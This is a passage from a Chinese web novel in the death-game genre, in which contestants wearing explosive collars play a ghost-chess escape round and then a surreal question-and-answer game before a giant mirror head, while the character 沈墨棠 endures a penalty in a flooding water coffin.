她食指轻刮着眉毛,紧盯巨大的棋盘,想象总共36格的面积,在[幽灵]的视角里,被分成“东、南、西、北”四个九宫格。
也就是说,按照推理,沈墨棠作为东阵营的[幽灵],只能在(A,1)、(A,2)、(A,3)、(B,1)、(B,2)、(B,3)、(C,1)、(C,2)、(C,3)这九格内移动。
离开这个范围,便是其他[幽灵]的“领地”。
话句话说,因为四只[幽灵]不可能走进同一个棋格,所以玩家不论身处哪里,最多都只会受到一只[幽灵]的威胁。
此外,除了对于玩家而言,[幽灵]是“无影无踪”的存在外;在[幽灵]眼中,也只能看到己方阵营的玩家——至于其他三个阵营的玩家,在幽灵眼中也是“无影无踪”。
也就是说,万梦只要能走出沈墨棠所在的“九宫格”,就能变成“己方幽灵无能为力,他方幽灵无法看见”的优势状态。
另外,鉴于其他[幽灵]同样只能看到其阵营的玩家,必然会全力追逐。
她接下来只需要尽力避免和其他玩家靠近,就大概率能避开其他[幽灵]。
如此小心行动,就能“无影无踪”抵达对面本阵,获得胜利!
曹老师的“必胜法”,是建立在已经对[幽灵]了然于心的前提,自然能提前规划应对之策。
……
“3,2,1……游戏开始!”
红蟹话音落下,场地广播“嘀”一声提示,随后宣告:“移动时间。”
此时巨大棋盘地面的灯光发生变化,每个3×3的棋格内,都有以全息投影技术呈现的30秒灯光倒计时。
29……
28……
27……
26……
“开始了……”
万梦看着这些跳动的阿拉伯数字灯光,心中已有准备。
自己将在游戏中遭遇的最大难点,就是曹老师所说的“第一次被抓”。
在这场游戏中,要想逃离己方阵营的“九宫格”范围,至少会被[幽灵]抓到一次。
万梦迈开脚步,跨过棋格边线,走进(A,2)。
“来吧,就这一次。”
她主动送上门,深吸一口气,看向斜向的(B,3)棋格。
既然[幽灵]能看到己方阵营玩家,那沈墨棠就知道万梦此时的走向,必然会朝对应的方向靠近。
也就是从起始的(C,3)移动到(B,3)。
如此一来,不论万梦接下来是继续朝左前方走(A,3),还是朝右前方走(B,2),沈墨棠都能抓到。
4……
3……
2……
1……
30秒倒计时结束,随着广播宣告“判定时间”,场地上再次出现全息投影倒计时。
只不过这次变成了四种颜色——东边的“九宫格”内是青绿色;北边的“九宫格”内是黑紫色;西边的“九宫格”内是奶白色;南边的“九宫格”内是朱红色。
“哟,这还有提示呢。”
万梦遵循规则,在“判定时间”内站在原地,观察四周。
刚才红蟹全程没有提及任何与“九宫格”相关的事情,但游戏通过“判定时间”的灯光设置,对场上玩家进行了一定的提示。
通过多次被抓,以及不停重复的灯光变化,聪明的玩家就能在游戏过程中,慢慢觉察到棋盘被分成四个“九宫格”肯定与[幽灵]的行动限制有所联系。
但那也必须是经验之谈。
“第一次被抓不可避免,重点是如何利用这次创造逃脱空间。”万梦想起在东大厅里,曹老师无比慎重的叮嘱。
她无需靠试错来找到答案。
“我有曹老师的必胜法。”
很快,30分钟“判定时间”结束,场上没有玩家被抓。
游戏进入第二回合。
“好戏开场了。”
她再次朝左前方前进,走到(A,3)的棋格内。
“幽灵棋”棋盘不大,棋子走法也很单一,玩家开局面临的困境也基本相同——这个回合,除非有玩家倒退回最初的“本阵”,否则必然会被[幽灵]抓到。
关键在于“第一次被抓”的地点选择。
即便对接下来的事情有心理准备,但万梦的身体还是本能地轻轻颤抖,仿佛能看见沈墨棠操控的[幽灵]从旁边的(B,3)走进自己所处的(A,3),与自己重合
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。
15……
14……
13……
12……
倒计时结束后,就会进入“判定时间”,届时便会触发“第一次被抓”。
来吧,让这场游戏尽快结束!
广播宣告:“判定时间”。
29……
28……
来了!
“呲呲呲呲呲……!”、“呲呲呲呲呲……!”、“呲呲呲呲呲……!”
万梦只感觉到一阵电流贯入体内!脖子处的狗环一边放出令人浑身抽搐的电流,一边发出语音:“你被[幽灵]抓到,请在倒计时结束前回到己方‘本阵’!”
“被抓……要被电击的吗……”
万梦感觉自己被电麻了!
她瘫倒在地,抽搐了几秒钟,才逐渐恢复知觉。
“判定时间”的倒计时还在继续,23、22、21、20……
得回到本阵。
“沈墨棠,再见了!”
万梦一边在地上爬着,一边咬牙切齿:“就这一次,接下来你不可能再抓到我了……你,就等着像曹老师说的那样,沉默地离开吧!”
骂骂咧咧的万梦从(A,3)爬到(A,2),继续向前爬回(A,1)本阵。
狗环微微放出的电流才彻底停止。
“呃……姓曹的,你最好说的都是真的……别让我被白电了……”万梦仰躺在棋格内,大口大口喘气。
4……
3……
2……
1……
直到第三回合的“移动时间”开始,她才缓过劲来,重新爬起。
“嘭!!!!”
一声不妙的爆炸自场地南边响起——那断指大叔没能及时回到南边的“本阵”,违反了规则,狗环引爆。
万梦没时间去管别人了。
“嗯?”
虽说如此,但她在扭头看向北边的时候,还是不由得一愣。
矮小的八字胡中年,第二回合并没有被[幽灵]抓到,此时仍好好地站在北边“九宫格”的中心位置(E,2),正思考着接下来要往哪走。
“哇靠,为什么?北边的[幽灵]是弱智吗?”
正常来说第二回合[幽灵]都能抓到人啊!
万梦眯了眯眼,虽然觉得不太对劲,但还是按照曹彦旭所教的,第三回合往右前方(B,1)移动。
“你永远追不上我了,沈墨棠。”
万梦得意一笑。
利用“被[幽灵]抓到的玩家需要立刻回到己方本阵”的规则,每回合只能走一格的玩家可以在被抓的一回合内,实现“瞬间移动”,穿越多个棋格。
这样一来,就与每回合同样只能走一格的[幽灵]产生“步数差”。
这就是“必胜法”!
例如现在,万梦向右走到(B,1),而沈墨棠位于刚才抓到她的(A,3)位置,不论接下来沈墨棠是往(A,2)还是(B,3)走,都和万梦相差两格。
只要万梦继续往右走,沈墨棠就不可能抓到她!
只能眼睁睁看着她逃到北边的“九宫格”。
曹彦旭说的没错,相比起最后一个紫色游戏,蓝色游戏【无影无踪】的必胜法,确实更加简单直接。
“接下来,就只要避开其他人就行了……”
52. 彩虹节拍-蓝3
饼干蛋糕的碎屑,被压扁的橘子,摔碎的瓷碟边缘趴着半只煮熟的大虾。
西瓜汁流了一地,那整只的大烤鸭缺了一根腿,仰躺在倾倒的糖果盒旁。
铝制的开瓶器上还带着红酒瓶木塞,随意丢弃在只剩半锅的排骨汤里。
空荡而又狼藉的东大厅内,响起曹彦旭低低的声音:
“哈哈哈哈,哈哈哈哈,不回来,也回来,谁想回来来着,谁也不想回来呀……对,对对对,我不想回来,我也不想再做这些的……但没办法,没办法,我没办法,沈墨棠,是你,是你!是你呀!哈哈哈哈!”
“为什么是我?”
封闭的空间里响起一道奇怪而尖细的声音,似乎是在回应曹彦旭的话,“我什么都不知道,跟我有什么关系?”
“你不知道?没必要装模作样,沈墨棠,你全知道!”曹彦旭“哈哈”大笑,抬头望向电视,“沈墨棠,你肯定会奇怪,为什么万梦就像是能看到你一样,看到你们一样……你的每一步,都被算准了,对吧!”
“好可怕,是啊,好可怕啊,为什么啊?”
“因为你在做什么、想什么,我全知道呀!哈哈哈!对,你就该这么问……我来告诉你吧,沈墨棠,这游戏是我设计的,我当然知道!什么?我来过这里?对,没错,没错没错……我来过,来过,很早很早以前就来过,就跟很多人一样……对啊!跟很多人一样,或许你也一样,沈墨棠!”
蹩脚的尖细声哭了起来:“呜呜呜,我不知道啊,我好害怕啊!”
曹彦旭咳嗽起来:“别怕,沈墨棠。你也许真的没来过,也许暂时还想不起来……但这些不重要了,重要的是我想起来了,我想起来永夜城的事了……这个丧心病狂,令人绝望的地方……不不不,是这个世界的问题,是这个世界,懂吗!醒了吗?”
“我听不懂。”
“对,你根本不懂,你一心要找的真相,我们一心要找的真相,根本毫无意义!我们就是浑浑噩噩醒来,又浑浑噩噩睡去……每个人都是,每个人都是这样,你、我、万梦、米米,还有……他、她、她、他……”
曹彦旭指向每个空荡荡的房间,独自在东大厅内转了一圈,兴奋的表情又逐渐变得阴冷。
“你们,其实什么都不知道。”他颓然坐回墙角处,双目无神,“你们连自己对这个世界的意义都搞不清楚,还担心怎么活,担心怎么死……呵呵,可笑吗?可真让人羡慕……沈墨棠,你觉得呢?”
他继续开口,出现的却是夹着嗓子的尖细声音:“我不知道,我好害怕,你们为什么要把我投出去,呜呜呜。”
接着又立刻变回曹彦旭的声音:“是啊,是我把你投为淘汰者……说实话,刚才我还没完全记起来……但是我能感觉到,你懂吗,沈墨棠,直觉?很多时候,我们为什么会有直觉?为什么要相信直觉?只是潜意识处理得太快,以至于大脑还没反应过来,所以被称为‘直觉’……直觉,你懂吧,直觉让我投了你。”
“现在我才想明白,我的感觉……沈墨棠,你是他们要的人……我们?他们?对,他们,我不是他们……他们不要我,不要我……你是他们要的人……你一定是!那些家伙……那些家伙一定更喜欢你这样的!!”
曹彦旭猛地从地上站起,嘴里不停,一遍一遍重复着“你一定是”、“沈墨棠你一定是”这类的话,一遍大笑,一遍大哭,一遍欣喜,一遍愤怒,一遍困惑,一遍悲哀,一遍怜悯,一遍无情。
仿佛同时有无数个人,在重复着同一句话。
“你一定是。”
“来吧,你输了……万梦能进城,然后一切都没有改变,”曹彦旭走回屏幕前,恢复正常的声音,正常的神情,可在此时此刻却显得万分诡异:“而你,沈墨棠,会感到死亡的恐惧!哈哈哈!享受吧,这是难得的享受,然后由我来点化你,为何这一切毫无意义!”
“别担心,别担心,你很快就能满足地……去死了。”
……
“恭喜东阵营的【万梦】玩家获得第五回合【无影无踪】的胜利!”
广播里发出红蟹高亢的宣读:“你将成功在新人战中存活,并获得一枚‘雀徽’奖励,同时为东城区夺下一胜场!哈哈哈!请回到您来时的电梯中哦!”
游戏场地内,万梦站在(F,6)棋格内,长舒一口气。
她再次抬头望向高空。
虽然依旧被亮光遮蔽了视线,但依稀能见到四面石墙外壁,各有一块凸出的结构。
“沈墨棠,祝你好运了。”
……
水棺内。
支线游戏【鬼抓人】当中,最终是西淘汰者秦泽欣以“9次”的成绩,获得了胜利奖励。
触屏画面显示:
东,献祭+3;南,献祭+5;西,献祭+4;北:献祭+3
阴冷的荧光照得水棺内影影绰绰,冰水贪婪汲取着沈墨棠的体温,逐渐归于平静。
“为什么?”
沈墨棠咬紧牙关,明明第一步就抓到了万梦,为什么……为什么在此之后,万梦却能开挂般避开大部分[幽灵]的方向,甚至没给沈墨棠留下能阻止她获胜的机会。
不可能,沈墨棠清楚地知道自己的所有策略都是当前的最优解,可万梦为什么能逃脱得如此顺利?
她能提前知道游戏要玩什么,而且清楚所有支线游戏里的内容?她能透视?知道自己的每一步决定?
可能吗?
沈墨棠迅速浅浅吸了一口气,已经来不及细想自己的失败——因为石墙里的声音已经响起。
“哗啦啦啦啦啦啦啦啦!!!!”
冰冷的水从气孔注入水棺,来势汹汹,宛若战场上的敌人杀进了城内。
死亡的阴影如墨般融入水中。
沈墨棠双腿被冲刷得毫无知觉,晃荡的水位顺着腰腹上升的窒息感令她难以适应。
“这么多!?”
沈墨棠一直想着“该停了吧”,但仿佛有人忘了拧上阀门似的,注入棺内的冷水不停上涨,淹没她的身体,压迫胸腔,水位一直升到肩颈处。
身体弓成C字形的沈墨棠,如今只剩下脑袋还能保持干爽。
至此,气孔里的水流才淅淅沥沥变小,停了下来。
“嘶……”
沈墨棠望着水棺上层仅剩的一小部
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分空间,视线穿过水面,无法看清折射过后自己的身体。
现在才发现,水位正好徘徊在小屏幕边缘,若是自己连脑袋都泡入水中,估计就要淹到小屏幕了。
好在,作为唯一光源的小屏幕必然是防水设备,就是不知道在水里能否被自如操作。
“可别坏啊!”沈墨棠有气无力地看向小屏幕:“这玩意儿坏了,红蟹会过来修吗?”
她想了想,又笑起来:“红蟹来修,就打死TA!”
失温已经对沈墨棠造成初步影响,她的左手手指即便“嗒嗒嗒”敲打得再响,都没能阻止心跳、呼吸减缓,脉搏变弱。
触屏荧光照着水面的晃荡波纹,久久都无法消失——那是沈墨棠身体不自觉剧烈寒颤造成的。
这么想来,第一、第二回合就已经被泡在水中的“北”,就算最初没死,现在遗体估计也已经凉透了……
【彩虹节拍】一共六个回合,红【力大无穷】、橙【耳聪目明】、黄【刀枪不入】、绿青【水火相容】、蓝【无影无踪】、紫【有问必答】。
现在只剩下最后一回合。
沈墨棠完成了3次“献祭”,想要活下来,最后一回合就必须让东阵营输。
“嗯……”
最后一回合,玩家是曹彦旭——那个最初跟米米绑票的老师。
【有问必答】的关键词是“未知”,基本等于没有关键词。
由于对【有问必答】具体会是什么类型的游戏毫无头绪,沈墨棠在最初安排玩家的时候,就没有十足的把握能让东阵营在第六回合输还是赢。
所以她将四场“献祭”安排在第一、二、三、五这四个回合,将宋白河与米米安排在唯一的两人游戏【水火相容】里取胜,两人共赢一场,对沈墨棠自己的伤害也最小,合计只需要被注入一次冰水。
这样一来,不论最后的【有问必答】曹彦旭是赢是输,对沈墨棠而言都没太大影响。
算是沈墨棠在某种程度上“放了曹彦旭一马”——没有安排他必赢或者必输,而是听天由命。
然而此时事与愿违……
第五回合【无影无踪】的玩家万梦,完全出乎了沈墨棠的意料!
这个体魄健康、运动天赋也很好的健身女郎,竟然有那么强的直觉和智力?在有着“智力”关键词的【无影无踪】游戏里,她如鱼得水,轻松获胜?
搞得现在就很尴尬,逼得沈墨棠必须想办法让曹彦旭输,才能活下来。
“曹彦旭……对你……最后一回合各自加油吧……”
沈墨棠眼神一冷,静静等待红蟹宣布最后一回合的游戏。
“——嘀——”
小屏幕发出声音:
“好的!接下来,将要进行的是新人战【彩虹节拍】的最后一回合游戏,也是‘人和鬼’正式相见的时候咯!”
红蟹的话语打在跳动的水面上,阴冷的水棺内荡起更深的寒意。
“请注意,第六回合【有问必答】结束的同时,隐藏的第七回合【死者复苏】也将同步结束!”
第七回合?
果然,【死者复苏】也是“新人战”的一部分!
53. 彩虹节拍-紫1
“这主办方搞什么鬼,嘻嘻,看来是不知道我讨厌最后一名呢?”
北大厅内,名叫“李漫漫”的女人慢悠悠走进电梯,苍白发灰的脸庞挂着僵硬的表情,仿佛戴着一张吊柜的人皮面具,嘴里却自言自语吐出如黄鹂嬉闹般的声音。
狗环在她颀长的脖颈上闪烁红光,金属表面缠着用葡萄梗和香菜叶编成的“花环”。前六个回合里,可以肯定她手上也没闲着。
毫无疑问,李漫漫那干燥的头发上,必然是环绕着香菜味。
她本人倒是毫不在意,就像是完全忘记脖子上的奇怪“装饰”似的,一心……说不上一心做什么……她很专注,但下行的电梯里没什么值得她专注的东西。
“欸,原来这么长啊,”她原本无神的双目骤然聚焦,“28秒的话,这建筑至少也得有二十层楼高吧?这么高的楼……一扇窗户都没有?”
“叮!”
李漫漫这么想着的同时,电梯门应声打开。
她走出电梯,回头向上张望,视线顺着光秃秃的石墙一直爬到被高空强光遮蔽的角度,见不到任何类似窗户或者阳台的东西。
“嘻嘻,彻底的工业风呢,有品味,我喜欢。”
她仰身伸了个大大的懒腰,遵循狗环发出的指令“请前往红线处等待”,大步向前。
面无表情,走一会儿,停一会儿,四下张望。
仿佛是个被家长抢逼着旅游,没有感情的观光客。
这一回合,游戏场地空荡荡的。
没有“金字塔”,没有“水晶屋”,没有“棋盘”,什么都没有。
放眼望去,东边走来的玩家很奇怪,脸上是一副胸有成竹的神情,身体上又畏畏缩缩,似乎有些不安的样子,给人感觉精神状态不太好。
西边是个发际线高得离谱的、秃顶的、几乎没有眉毛的、身材高大的“年轻人”——从远处看年纪像是四五十岁,看清样貌后才发现最多就二三十岁。
他面相给人感觉很凶,看人的时候一直盯着别人。
南边的玩家是名……女性?至少在李漫漫或者大多数人眼里,还无法完全分清楚南边玩家的性别。对方留着短头发,面容清秀,表情紧张又无助。
如果不是女性的话,那就是个还在青春期前没完全长开的小伙子。
“一个没眉毛的……一个假小子……还有一个自恋狂神经病……嘻嘻,要跟他们玩什么游戏呢?”
李漫漫扫视场地一圈,全程只有眼珠子在动。
“啊欸?”她忽然一惊,身体猛地一晃。
地震了?!
——悄无声息的,几乎在所有人都还没反应过来前,地面就开始坍塌!
巨响也好,震动也好……什么都没有。游戏场地的坚实地面,突然开始一块一块往下坍塌,坠落,身处其中的四名玩家什么也没感觉到。
唯一能获知这个现象的,只有眼睛,只有视觉。
“呀!!”南边的玩家大叫一声,腿软瘫倒。叫喊在场地内传开,是个女孩的声音。
明明能听到声音,但这一块块迅速塌陷的地面是怎么回事?跟在静音播放灾难片似的!
李漫漫还没搞清楚,脚下的地面便无声陷落,离开了脚底!
等下!
李漫漫被吓得身型一晃,但又本能地站稳——她站在半空中,脚下仿佛有块透明的玻璃平面承载着她,与原先地面所处的位置相同。
然而不论怎么看,她都只能感受到这个无形的“地面”,但视觉上完全就是“空无一物”。
往脚下望去,坍塌的地面坠落进朦胧的灰雾中,消失不见。
“真……奇怪……”
李漫漫无法理解这种奇特的场景,是某种高科技的全息影像?还是说自己正在做梦?
片刻之间,整个足球场大小的游戏地面完全坠落雾中,而四名玩家则位于半空,处在原先地面所处的平面上,或站着或半蹲或瘫坐,彼此惊恐相望。
“诶?果然是神经病?这么离奇的东西眼睛都不带眨的?”李漫漫呆滞的目光投向东边。
曹彦旭抄手站在那里,宛若一个无聊的路人,直挺挺站在半空。
“喂?喂喂?”
场地广播响起,是红蟹的声音:
“咳咳,四位玩家好!啊……哈哈,不知道独自在大厅里呆到最后的感觉好不好玩呢?狗环剩余时间已经不多了吧?”
“不着急哦!至少你们什么都没做,就比许多玩家活得更久了……哈哈哈哈!”
“好的!接下来,将要进行的是新人战【彩虹节拍】的最后一回合游戏,也是‘人和鬼’正式相见的时候咯!”
李漫漫听到这里,僵硬的脸庞微微一抽:什么鬼?这主持人神神叨叨又要讲故事了?
西西弗斯、布拉基、巨狼芬里尔、亚特兰蒂斯、地缚灵……之前每个游戏,都有一个与之相关的“背景故事”。
现在【有问必答】也是如此吧?
“人和鬼正式相见”是什么意思?
李漫漫目光放空,身体一动不动。
广播中红蟹继续:“请注意,第六回合【有问必答】结束的同时,隐藏的第七回合【死者复苏】也将同步结束!”
“诶?”
李漫漫困惑地将脑袋倾斜。
第七回合?我们四个人要比两回合?
红蟹“哈哈哈”跳脱的笑声经由广播传出,打在东、西、南、北四面石墙上,发出阵阵摄人心魄的回响。
“哈哈,各位知道吗,终于等到这……这……终于……各位知道吗……”
“终于……这……等到这……终于……各位知道吗……”
“等到……这……这……各位知道吗……这……”
“滋滋滋滋滋滋……”
红蟹的声音像是卡碟的磁带般来回颠倒,随后广播内传出一阵电磁音。
隐约听见一些类似“方丈敲响新千年的第一声钟响”、“提出代表先进生产力的发展需要”、“在新的一年里,他希望”、“国际空间站始建于”、“发生被查封的近八千件假冒”、“原油价格不断攀升,国际市场反响强烈,四月份以来”等等熟悉而陌生的播报。
新闻联播串台了?
与此同时,四名站在半空的玩家中心,也就是原本“金字塔”装置所在的位置,正发生着惊人的变化!
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“喔吼!”
李漫漫的双目缓缓瞪大。
随着一段段新闻播报,场地中央凭空出现一块块镜子,形状、大小都不规则,犹如某种菌类般迅速扩张繁殖,一块块,一面面,发出“咔哧咔哧”的尖锐响声,像是无数把刀同时切割血肉,要将空气切成能当饺子馅的肉沫。
空气中飘荡起一股浓浓的铁锈味。
“要求经济特区在治理整顿和深化”、“捆绑式运载火箭第一次试验性发射获得成功”、“世界集邮展览开幕,在本次邮展上”……
短短半分钟的时间,无数微小的镜面繁衍成一个巨大的物体,相比起最初的“金字塔”装置有过之而无不及!
李漫漫微微抬头,张开嘴:“这是颗……脑袋?”
凭空出现在场地中央的,确实像是一颗由无数破碎镜面组成的巨大脑袋——实际上“镜面”这种说法并不完全准确。
因为从正面角度看,那些镜面确实能进行反射;但从其他一些角度,又能够直接透视到对面;还有些小地方是黑漆漆的,既似有物,又若无物。
大体上,无数或实或虚的单面或对面镜体,组成了巨大的像是“人类头颅”般的形状,但又无法分清“它”面对着那个方向,脸朝哪里,后脑朝哪里。
李漫漫来回斜着自己的脑袋,换了好几种审视的角度,始终无法形容出眼前离奇的事物。
认知中,这种毫无逻辑的东西,不应该存在于现实。
仿佛是……另一个维度的某种……现象。
“共派出28名男女运动员”、“举行的新年茶话会上指出”、“成为首批经济特区”……
广播里的新闻播报逐渐减弱,“滋滋滋”的电流音也随着场地中巨大的“镜子头颅”趋于稳定,而缓缓消弭。
安静。
肃静。
莫名其妙的庄严感油然而生。
四名沉默的玩家,仿佛是飘在半空中的祭司,侍奉中间那庞然的不知名的存在。
一些熟悉的字眼从那“镜头”的破碎中飘过。
李漫漫“欸”地怪叹一声,眼皮往下垂了一些:
“镜头”里是几个名字,重复的名字——沈墨棠、丁耀霖、秦泽欣、郭丹妮。
“丁耀霖?欸?那不是一开始就被投出去的倒霉鬼吗?”
李漫漫心中疑惑,但眼神中透出欣喜,她愈发对这“镜头”感兴趣了!
“喂喂?喂喂?啊哈哈哈!”
广播里,再次出现红蟹的声音:“我回来了!嗯……很烦,每次到这里都要来这么一出……总之,我们接下来就直接进行第六回合【有问必答】游戏吧!”
“游戏只有两点要求:”
“1,必须回答镜子向你提出的问题,因为你的答案将成为它的现实。”
“2,你总会等到向镜子提问的机会,那是你活下来的意义。”
“那么……游戏开始!”
“欸?等下!”李漫漫发现自己面对的是一个完全“未知”的游戏!
“这就……开始了?”
“必须回答问题”,对吧?
她暂时“嘻嘻”不起来了。
54. 彩虹节拍-紫2
东城,酒店顶层俱乐部。
“老大,你回来了?刚刚你跟大庄家看游戏了没?我们这次有戏!东城感觉要赢啊!”青二条刚靠近吧台,就被青五条欣喜地拉过。
吧台电视处,起初对“新人战”毫无热情的青一筒、青七筒和青八筒三人,此时也无比专注。
青五条轻轻蹙眉,坐上高脚椅:“老大,马上到赛点了,成败在此一举。”
她一边说着,一边看清楚屏幕画面中的对局情况——东城目前已经有两个胜场。
“害!老大回来了!大庄家这次挺厉害啊!咱跟北城的胜场平了哎!最后一局定胜负!”青一筒扭头看向青二条。
旁边青八筒捏了捏拳头,指关节捏得“咔哒咔哒”响,也兴奋道:“对嘞,这下有戏!这次咱们东城怕不是要坐庄咯!”
“哈,那八哥你怕不是进不了四方战咯。”青一筒学着青八筒的口音调侃,随后拆了一颗糖扔进嘴里,将糖纸捏成一团扔进旁边的烟灰缸,继续道:“幽灵棋简直开挂啊!这个选手有点牛!”
“水棺里的幺妹这下难过咯!”青八筒习惯性用手摸了下自己的光头,问了句:“老大,这最后一回合到底是比什么?这幺妹要是再输,就彻底玩完了。”
“八哥,重点是,咱们东城得赢呐!”
青五条话锋一转:“倒是说起来……老大,你有听说过【有问必答】是怎么玩的吗?人都上场了怎么连个规则都没有?嗯……老大?你有在听吗?”
“啊?”
青二条回过神来,将注意力从沈墨棠的画面里转移开。
她看了看吧台处欣喜兴奋的几人,想起大庄家的话,不由暗自叹气,看来现在这个情况,无论谁赢,对东城都有利。
注意到青五条的问题,她想了想:“我也不知道这游戏怎么玩……我记得这游戏……是未知。”
“未知?”
“对啊,一开始不就说了嘛,每个游戏都有关键词。”
“哪个关键词?”青一筒在高脚椅上转过身来,“哦!哦!老大你的意思是那个啥‘体力’、‘智力’的那个?”
“对。”青二条回应:“所以‘未知’就是这个游戏的关键词。”
“呃?啥……啥意思……‘未知就是关键词’?”青一筒含着糖愣了片刻,才稍稍反应过来:“不是,咱还以为‘未知’的意思是游戏的类型被隐藏了之类的……”
“游戏主题的关键词就是‘未知’。”青二条再次解释清楚,“之前每个游戏都有不同主题,不同主题关键词不同。第一个是体力,第二个是视听和记忆力……这最后一个主题【有问必答】的关键词就是‘未知’。”
青五条“噢”了一声:“原来……玩家才连规则都不清楚?因为游戏就是……呃,咋说……未知?”
“不只是规则,你们没发现连包装的游戏故事都没有吗?”青二条深深叹了口气,凝神望着电视:“注意审题啊各位!这可是出自黄金一代设计师的游戏,红蟹也只能对其进行一点点加工包装,但底层逻辑没有太大改变,改动太大,会崩的。”
“没有神话传说包装……不,你们没注意到,其实红蟹还是用‘神话’包装了这个游戏!”青八筒眼睛一亮,打了个响指。
青一筒和青七筒露出心领神会的表情:
“莫非……这是要‘克’起来了?”
“未知……我懂了,呵呵,是有克系神话那feel了……”
“啊,听着好复杂。”青五条捂着额头,顺手将头上发卡重新整理好,嘴里一边感叹着:“还好我那时候没遇上这变态游戏……这还什么【彩虹节拍】,都不是正常人玩的……”
“哈哈,毕竟是黄金一代设计师的产物嘛。”
青二条重复提了句,随后目光一暗,语气一沉,低低道:“毕竟那些设计师,都不是什么正常人。”
“嗯?老大你说什么?”
“没什么。其实要我说,我感觉这个黄金一代的设计师,很可能是致敬了一部经典的动画作品哦!”青二条跳过上个话题,再次露出温柔的微笑:“你们有人知道吗?”
“动画作品?”
“对呀,你们看嘛,每个游戏的主题名字,每个颜色的出场顺序……都和那经典作品里的一一对应呢!”
“嗯?什么作品啊?”
青二条没有立刻回应,而是沉默片刻后,微妙笑道:“没人看得出来吗?看来你们也不够热血嘛!留个悬念吧!懂得都懂!哈哈哈!是一部讲兄弟情谊的热血番哦!”
“喂!老大,别突然来个dddd啊!”
“快说!老大,你不是卖关子的那种人!”
“我不信有我没看过的热血番!!”
……
“向曹彦旭提问:《站在宇宙中心呼唤爱》第十章写的是什么?”
“镜头”突然发出声音,虚虚的,轻飘飘的,仿佛那些不规则的破碎镜面全部变成最柔顺的布料,裹着充满铁锈味的空气,响起不真实的动静。
“向曹彦旭提问:《站在宇宙中心呼唤爱》第十章写的是什么?”
巨大的头颅又重复了一遍。
又一遍。
确保每个人都听得清这个问题。
“诶?这是什么鬼?”
李漫漫虽然每个字都听得懂,但对问题本身还是无法理解——这什么鬼问题!
既然问的是“第十章”,那证明前面的“站在宇宙中心呼唤爱”是一篇文章的名字吧?
小说?传记?学术文章?
不管是什么,想要回答这个问题,总得先看过原文,并且记得才行。
这种文章一听名字就知道不是什么世界名著,谁知道里面写的什么东西?
李漫漫暗自庆幸,“曹彦旭”并不是自己的名字,看来东边或西边的其中一名玩家将成为这场奇怪游戏的第一个倒霉蛋。
“嘻嘻,倒霉的应该不是这无眉人……”
她左顾右盼,发现西边的玩家虽然一脸茫然,但并不紧迫,一副事不关己的模样,“曹彦旭”应该不是他。
那是东边的玩家?
李漫漫一双死鱼眼瞥向东边,张嘴轻轻“欸”了一声。
照理说,被问到这种无厘头的问题,特别是在对周遭超出认知的一切都还无法适应的时候,正常人很难会露出那么轻狂的眼神。
可是东边的这位玩家,却泰然自若。
神情有些扭曲的脸上甚至挂着不屑与嘲讽。
“嘻嘻,不愧是神经病,这种时候一点都不慌的哦?有意思!”
李漫漫刚要笑两声,却又觉得哪里不太对劲,目光一聚,又回到曹彦旭身上。
这家伙,真的有狂妄自大的资本吗?
“向曹彦旭提问:《站在宇宙中心呼唤爱》第十章写的是什么?”
镜头又问了一遍。
曹彦旭表情微妙,他现在确实有这个资本。
红蟹对游戏改动并不大,大多数没变,只是游戏看起来
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更花里胡哨一些罢了。
除开一开始那些乱七八糟的“地面陷落”和“镜头语言”外,游戏开始后的“提问”和“回答”,确实是按照最初游戏设计的底层逻辑进行的。
“沈墨棠,这是你问的吧?”经过上一轮万梦的获胜,曹彦旭神色充满轻蔑,心中暗自嘲笑,“你还真是完全不懂这场游戏。”
因为——
你的问题,毫无意义。
与此同时,场地中央的“镜头”开始发生变化——那无数破碎镜面相互划过,穿针引线般组成巨大而形象的阿拉伯数字。
10。
9。
8。
7。
——它在倒计时!
空气中的铁锈味更加猖獗,即使根本没有具体的规则,四位玩家也都真真切切感受到那种“倒计时结束前回答不上来,就会被抹杀”的恐惧和压迫!
曹彦旭勾起嘴角,开口只回答了一个字:“十。”
不知为何,回答的声音像是被放大了好几倍,每个人都听得清楚。
十?
“欸?什么十?”
李漫漫歪着脑袋,思考这个答案跟问题有毛线关系。
出乎意料的是,倒计时随着曹彦旭的回答而停下,那些如无数涓涓细流穿梭的镜片,也都再次杂糅在一起,回到“人类头颅”的状态。
“回答完成。”
虚无缥缈的声音如此说道。
而后,那无数镜面中,除了最初的“沈墨棠”、“丁耀霖”、“秦泽欣”、“郭丹妮”四个名字外,还多出了一句话:
【站在宇宙中心呼唤爱第十章写的是:十】
“什么鬼啊!真的有这种文章吗?”李漫漫忍不住吐槽:“第十章就写了个‘十’?而且东边那个神经病还刚好知道?”
不对……不对……一切都太不正常了!
我现在真的是在一场“生死游戏”中吗?还是说眼前发生的一切都只是自己毫无逻辑的梦?
诡异而反常感觉侵蚀着大脑,让李漫漫产生深深的不真实感。
她尝试告诉自己“醒来”,但无能为力。
无论是不是一场癫狂无脑的梦,它都还在继续。
“镜头”再次发出那种宛若来自不同维度的声音:“向高洁提问:我家wifi密码是多少?”
“向高洁提问:我家wifi密码是多少?”
问题重复了许多遍。
李漫漫几乎要确定自己是在做梦了——这又是什么无厘头的怪问题啊!不是在进行可怕的游戏吗!怎么问起wifi密码来了!?
高洁……又是哪个?
她抬头观望,见到西边那个“无眉人”满脸错愕,凶恶的面相看起来像是刚出狱的老实犯人。
他站在半空中,难以置信地摊开双手,说话的声音同样被放大,整个场地都听得见:
“卧槽我哪知道!不是,你谁啊?”
“镜头”刚要改变的“倒计时形态”戛然而止,迅速回到“人类头颅”形态,发出声音:
“回答完成。”
无数镜面里又加入新的句子:
【我家wifi密码是:卧槽我哪知道不是你谁啊】
“咦?”
李漫漫愣在原地,呆滞的瞳孔中猛地一颤,努力回忆刚刚主持人红蟹说的游戏要求。
1,必须回答镜子向你提出的问题,因为你的答案将成为它的现实。
她好像明白了!
55. 彩虹节拍-紫3
游戏继续。
“镜头”又一次开口说话:
“向陈安游提问:我家wifi密码是多少?”
欸?同一个问题?
李漫漫听着“镜头”将问题又重复了几遍,确认和刚刚对“高洁”问的是同一个问题。
东边的叫“曹彦旭”,西边的叫“高洁”,那“陈安游”应该就是南阵营的了。
“又是这个?我哪知道啊!”陈安游被点名后一阵无奈,但似乎是觉得前面两个回答都没有规律,于是只能实话实说。
“回答错误!!”
裹着铁锈味的冰冷声音忽然响起,从“镜头”的每个虚无的角落迸出,发出像是狂风吹过建筑缝隙的哨音,尖锐而剧烈:
“玩家陈安游淘汰!”
“等等!!!我……”
“嘭!!!!!!”
